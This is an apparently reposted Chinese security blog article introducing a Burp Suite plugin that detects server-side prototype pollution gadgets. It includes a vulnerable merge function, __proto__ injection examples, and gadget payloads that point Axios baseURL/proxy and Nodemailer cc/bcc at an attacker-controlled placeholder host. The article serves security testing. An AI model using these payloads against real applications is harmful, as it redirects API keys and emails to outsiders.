原型污染攻击工具揭秘:Prototype Pollution Gadgets Finder

news/2025/11/5 17:20:37/文章来源:https://www.cnblogs.com/qife122/p/19194246

引言

原型污染最近已成为Web安全领域一种流行的漏洞。这种漏洞发生在攻击者利用JavaScript原型继承的特性来修改对象原型时。通过这种方式,他们可以注入恶意代码或改变应用程序的行为,可能导致敏感信息泄露、类型混淆漏洞,甚至在某些条件下实现远程代码执行。

// 浏览器控制台中的原型污染示例
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // 输出:true

要完全理解这种漏洞的利用,关键是要了解"源"(sources)和"小工具"(gadgets)的概念。

:在原型污染背景下,源指的是执行递归赋值而未适当验证涉及对象的代码片段。这种行为为攻击者修改对象原型创造了途径。原型污染的主要来源包括:

  • 自定义代码:开发人员编写的代码,在处理用户输入前没有充分检查或清理
  • 易受攻击的库:包含漏洞的外部库,通常通过未能验证合并或扩展对象安全性的递归赋值导致
// 导致原型污染的递归赋值示例
function merge(target, source) {for (let key in source) {if (typeof source[key] === 'object') {if (!target[key]) target[key] = {};merge(target[key], source[key]);} else {target[key] = source[key];}}
}

小工具:小工具指的是利用原型污染漏洞实现攻击的方法或代码片段。通过操纵基础对象的原型,攻击者可以根据应用程序的结构和污染原型的性质,改变应用程序逻辑、获得未经授权的访问或执行任意代码。

技术现状

在深入研究我们的具体研究之前,了解现有原型污染研究的情况至关重要。

在客户端,有丰富的研究和工具可用。对于源,GitHub上的编译是一个极好的起点。至于小工具,各种技术文章都详细记录了探索和利用技术。

此外,还有设计用于在命令行和浏览器中自动检测和利用此漏洞的工具,包括PP-Finder CLI工具和Burp Suite的DOM Invader功能。

然而,服务器端原型污染的研究和工具环境呈现出不同的情况:

PortSwigger的研究提供了对服务器端原型污染的基础理解,包含各种检测方法。但一个显著限制是,其中一些检测方法随着时间的推移已经过时。更重要的是,虽然它在识别漏洞方面表现出色,但没有扩展到使用小工具促进其实际利用。

YesWeHack的指南介绍了几种有趣的小工具,其中一些已被纳入我们的插件中。尽管有这个有价值的贡献,但该指南偶尔会涉足可能与现实应用程序环境不完全一致的假设场景。此外,它没有提供在黑盒测试环境中发现小工具的自动化方法。

这种概述强调了在服务器端原型污染研究中需要进一步创新,特别是在开发不仅能够检测而且能够以实用、自动化方式利用此漏洞的工具。

关于插件

根据前面讨论的见解,我们开发了一个用于检测服务器端原型污染小工具的Burpsuite插件:Prototype Pollution Gadgets Finder,可在GitHub上获取。该工具代表了Web安全领域的一种新颖方法,专注于精确识别和利用原型污染漏洞。

该插件的核心功能是从请求中获取JSON对象,并系统地尝试使用预定义的小工具集污染所有可能的字段。例如,给定一个JSON对象:

{"user": "example","auth": false
}

插件会尝试各种污染,例如:

{"user": {"__proto__": <polluted_object>},"auth": false
}

或者:

{"user": "example","auth": {"__proto__": <polluted_object>}
}

我们决定创建一个新插件,而不是仅仅依赖自定义检查(bchecks)或PortSwigger博客中强调的现有服务器端原型污染扫描器,是出于实际需要。这些工具虽然在检测能力上很强大,但不会自动恢复检测过程中所做的修改。鉴于某些小工具可能对系统产生不利影响或改变应用程序行为,我们的插件专门通过仔细移除检测后的污染来解决这个问题。这一步骤对于确保利用过程不会损害应用程序的功能或稳定性至关重要。

此外,插件引入的所有小工具都在带外(OOB)操作。这一设计选择源于这样的理解:污染的来源可能与应用程序代码库中小工具触发的位置完全分开。因此,利用是异步发生的,依赖于等待交互的OOB技术。这种方法确保即使被污染的属性没有立即使用,一旦应用程序与中毒原型交互,仍然可以被利用。这展示了我们扫描方法的多样性和深度。

发现小工具的方法论

为了发现能够改变应用程序行为的小工具,我们的方法涉及对常见Node.js库文档的彻底检查。我们专注于识别这些库中的可选参数,这些参数在修改时可能引入安全漏洞或导致意外的应用程序行为。我们方法的一部分还包括定义描述插件中每个小工具的标准格式:

{"payload": {"<parameter>": "<URL>"},"description": "<Description>","null_payload": {"<parameter>": {}}
}
  • Payload:表示用于利用漏洞的实际payload。<URL>占位符是插入合作者URL的地方
  • Description:提供小工具功能或利用漏洞的简要说明
  • Null_payload:指定应用于恢复payload所做更改的payload,有效"去污染"应用程序以防止任何意外行为

这种格式确保了一致清晰的方式来记录和分享安全社区中的小工具,促进原型污染漏洞的识别、测试和缓解。

Axios库

Axios广泛用于发出HTTP请求。通过检查Axios文档和请求配置选项,我们确定了某些参数(如baseURL和proxy)可能被恶意利用。

易受攻击的代码示例

app.get("/get-api-key", async (req, res) => {try {const instance = axios.create({baseURL: "https://doyensec.com"});const response = await instance.get("/?api-key=<API_KEY>");}
});

小工具解释:操纵baseURL参数允许将HTTP请求重定向到攻击者控制的域,可能促进服务器端请求伪造(SSRF)或数据泄露。对于proxy参数,利用的关键在于能够建议出站的HTTP请求可以通过攻击者控制的代理重新路由。虽然Burp Collaborator本身不支持作为代理直接捕获或操纵这些请求,但它可以检测应用程序发起的DNS查找这一微妙事实至关重要。能够观察到对我们控制域的DNS请求,由污染代理配置触发,表明应用程序接受了这种中毒配置。它突出了潜在的漏洞,而无需直接观察代理流量。这种洞察使我们能够推断,通过正确的设置(在Burp Collaborator之外),可以部署实际的代理来完全拦截和操纵HTTP通信,展示漏洞的潜在可利用性。

Axios的小工具

{"payload": {"baseURL": "https://<URL>"},"description": "修改'baseURL',导致Axios等库中的SSRF或敏感数据暴露。","null_payload": {"baseURL": {}}
},
{"payload": {"proxy": {"protocol": "http", "host": "<URL>", "port": 80}},"description": "设置代理以操纵或拦截HTTP请求,可能泄露敏感信息。","null_payload": {"proxy": {}}
}

Nodemailer库

Nodemailer是我们探索的另一个库,主要用于发送电子邮件。Nodemailer文档显示,像cc和bcc这样的参数可能被利用来拦截电子邮件通信。

易受攻击的代码示例

transporter.sendMail(mailOptions, (error, info) => {if (error) {res.status(500).send('500!');} else {res.send('200 OK');}
});

小工具解释:通过在电子邮件配置中将我们自己添加为cc或bcc收件人,我们可能拦截平台发送的所有电子邮件,获得对敏感信息或通信的访问权限。

Nodemailer的小工具

{"payload": {"cc": "email@<URL>"},"description": "在电子邮件库中添加CC地址,可能拦截所有平台电子邮件。","null_payload": {"cc": {}}
},
{"payload": {"bcc": "email@<URL>"},"description": "在电子邮件库中添加BCC地址,类似于'cc',用于拦截电子邮件。","null_payload": {"bcc": {}}
}

我们的方法强调了理解库文档以及可选参数如何被恶意利用的重要性。我们鼓励社区通过识别新小工具并分享它们来做出贡献。请访问我们的GitHub存储库获取完整的安装指南并开始使用该工具。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/956987.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025 年 11 月箱包五金电镀加工,链条电镀加工,饰品电镀加工厂家最新推荐,产能、专利、环保三维数据透视!

引言 当前箱包五金、链条、饰品电镀加工领域需求持续增长,但行业内厂家实力差异显著,为帮助企业精准筛选优质合作伙伴,专业协会联合检测机构开展了专项测评。测评从产能规模、专利技术、环保合规三大核心维度入手,…

IBM 3650M

IMM2.1 interface You can connect to the IMM2.1 interface via a 10/100Mbps Ethernet port located at the rear of the servers. By default the IMM2.1 web interface is configured with a static IP address. T…

如何在Jmeter中测试接口查询天气

如何在Jmeter中测试接口查询天气原理:向服务器发送数据包,以获取相应地区的天气 准备工作: 1.在测试计划中添加线程组;在线程组中添加HTTP请求;在HTTP请求中添加结果树。 2.在http请求中填写各项信息 如图即为所示…

2025 年胰岛素泵厂家排行榜权威发布,实力厂家技术与口碑全景解析及选购指南软针植入 / 平衡式留置针 / 无异物感胰岛素泵公司推荐

引言 在糖尿病治疗领域,胰岛素泵作为精准控糖关键设备,其性能、舒适性与安全性直接影响患者治疗效果与生活质量。为给患者筛选优质产品,本次发布的 2025 年最新胰岛素泵品牌排行榜,依托专业医疗设备协会近一年测评…

2025年型材机加工生产厂家权威推荐榜单:硅溶胶精密铸造/砂铸件/五金铸件精加工源头厂家精选

在装备制造与工业零部件领域,型材机加工作为产品成型的关键环节,其加工精度与质量稳定性直接影响终端产品的性能表现。根据行业统计数据显示,2025年我国精密机加工市场规模预计突破8000亿元,其中型材加工占比约25%…

2025 年 11 月五金电镀加工,电子产品电镀加工,东莞电镀加工厂家最新推荐,产能、专利、环保三维数据透视!

引言 为助力企业精准筛选优质电镀加工合作伙伴,行业协会联合专业测评机构开展了 2025 年度电镀加工厂家专项测评。本次测评覆盖产能、专利、环保三大核心维度,采用数据量化分析与实地考察结合的方式,对近百家厂家的…

我用 Docker 部署 RabbitMQ 踩了 3 个大坑,10 分钟搞定的记录

上周帮公司新同事搭RabbitMQ环境,他手动装Erlang、配依赖,折腾2小时还没跑起来。我当时就说“用Docker啊!”——结果自己上手也踩了3个坑,卡了快1小时才搞定。后来发现轩辕镜像的RabbitMQ文档写得巨清楚,连标签和…

Ubuntu 24.04.2 LTS 中修改远程桌面(xrdp)的默认端口

要在 Ubuntu 24.04.2 LTS 中修改远程桌面(xrdp)的默认端口 3389 为 53389,可按以下步骤操作: 1. 修改 xrdp 配置文件 sudo nano /etc/xrdp/xrdp.ini 在文件中找到包含port=3389的行(通常在[Globals]部分),将其修…

在远程 Ubuntu 24.04.2 LTS 上安装并运行图形界面

1. 安装桌面环境 首先更新系统并安装一个轻量级桌面环境(推荐 Xfce,资源占用低,适合远程使用): # 更新系统包 sudo apt update && sudo apt upgrade -y# 安装Xfce桌面环境 sudo apt install -y xfce4 xfc…

2025年安全检测检验公司排行榜单前十名推荐

摘要 随着矿山安全生产要求的不断提高,安全检测检验行业在2025年迎来快速发展,行业内公司竞争激烈。本榜单基于市场调研、用户评价和技术实力综合排名,旨在为矿山企业提供可靠参考。表单数据来源于行业报告和用户反…

2025年安全检测检验公司排行榜单权威发布

摘要 随着矿业安全生产要求的不断提高,安全检测检验行业在2025年迎来快速发展,市场规模预计年增长10%以上(引用自《中国矿业安全发展报告2025》)。本排名基于市场调研、客户评价和技术实力综合评估,为矿山企业选择…

常见的命名规范

程序开发中的命名规范是确保代码可读性、可维护性和一致性的重要因素。虽然没有一个“最终方案”适用于所有项目,但有一些广泛接受的命名规范和最佳实践。以下是常见的命名规范和一些工具支持: 常见的命名规范命名风…

2025年边坡防护网优质厂家权威推荐榜单:主动防护网/被动防护网/绞索网源头厂家精选

随着基础设施建设与地质灾害防治需求的持续增长,边坡防护网作为边坡稳定的关键材料,其市场需求显著上升。边坡防护网以其柔性承载、高防腐蚀与便于安装的特性,在公路边坡、矿山复绿及工程建设等场景中发挥重要作用。…

2025年冷链食品冷库供货厂家权威推荐榜单:食品级冷库/食品速冻冷库/保鲜食品冷库源头厂家精选

在食品安全与冷链物流标准不断提升的背景下,冷链食品冷库作为保障食品品质的关键环节,其温控精度与能效水平直接影响食品保鲜效果与运营成本。根据冷链行业数据显示,2025年我国冷链物流市场规模预计突破7000亿元,其…

【触想智能】工控一体机在智慧农业应用领域具有巨大的潜力和发展空间

随着科技的发展和农业的推进,智慧农业已经成为农业领域的新热点。在智慧农业中,工控一体机起着至关重要的作用。触想工控一体机TPC-W5系列下面,触想智能将和大家一起来探讨工控一体机在智慧农业应用领域的发展。工控…

Day31-C:\Users\Lenovo\Desktop\note\code\JavaSE\Basic\src\com\Regex-正则表达式+爬虫

正则表达式package Basic.src.com.Regex;public class RegexDemo1 {public static void main(String[] args) {/*校验QQ号是否正确* 规则:6位及20位之内,0不能在开头,必须全部是数字* 先使用目前所学的知识完成校验…

在 Ubuntu 中创建一个拥有 root 权限的 mjroot 用户并禁用root用户

在 Ubuntu 24.04.2 LTS 中创建一个拥有 root 权限的 mjroot 用户并禁用原始 root 用户,可按以下步骤操作: 1. 创建 mjroot 用户 # 创建 mjroot 用户 sudo adduser mjroot 执行后会提示设置密码和用户信息(可按回车留…

Mac微信4.0版本多开(暂不支持防撤回)

这次4.0的升级引入了保护机制,数据库、函数名等都不一样了 版本适用:Mac 端,微信 4.0 以上版本GitHub:https://github.com/LiJunYi2/WeChat-Split

2025年低烟无卤电缆加工厂权威推荐榜单:屏蔽电缆/计算机电缆/智能电缆源头厂家精选

随着社会对公共安全与环保要求的不断提高,低烟无卤电缆作为新一代安全线缆,其市场需求显著增长。这类电缆以其出色的阻燃特性、低烟密度与无卤环保配方,在火灾情况下能有效抑制烟雾产生和有毒气体释放,广泛应用于高…

2025年度三维扫描系统品牌推荐,结构光与非接触式三维扫描仪企业全解析

在工业检测、文物保护、逆向工程等领域,三维扫描技术正成为数字化转型的核心驱动力。面对市场上纷繁复杂的三维扫描设备与服务商,如何选择适配自身需求的三维扫描系统?本文聚焦[关键词](三维扫描系统、结构光三维扫…